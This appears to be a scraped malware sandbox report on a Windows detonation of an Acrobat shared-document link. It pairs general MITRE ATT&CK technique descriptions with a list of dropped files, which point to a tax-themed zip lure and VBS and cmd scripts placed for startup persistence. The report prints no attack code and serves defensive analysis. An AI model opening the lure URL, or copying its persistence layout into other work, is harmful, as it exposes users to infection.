Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:24e81d17-b801-4fad-ae25-120d655923c5

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Networking

E-Banking Fraud

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\json[1].json

C:\Users\user\AppData\Local\Temp\Memory.vbs

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FDNUA.vbs

C:\Users\user\AppData\Roaming\WindowsServices\VJQSJ.cmd

C:\Users\user\Downloads\2023 Tax Organizer.zip (copy)

C:\Users\user\Downloads\2023 Tax Organizer.zip.crdownload (copy)

C:\Users\user\Downloads\853e3259-3419-4519-8671-df216c72cbf5.tmp

Chrome Cache Entry: 180

Chrome Cache Entry: 181

Chrome Cache Entry: 182

Chrome Cache Entry: 183

Chrome Cache Entry: 184

Chrome Cache Entry: 185

Chrome Cache Entry: 186

Chrome Cache Entry: 187

Chrome Cache Entry: 188

Chrome Cache Entry: 189

Chrome Cache Entry: 190

Chrome Cache Entry: 191

Chrome Cache Entry: 193

Windows Analysis Report
https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:24e81d17-b801-4fad-ae25-120d655923c5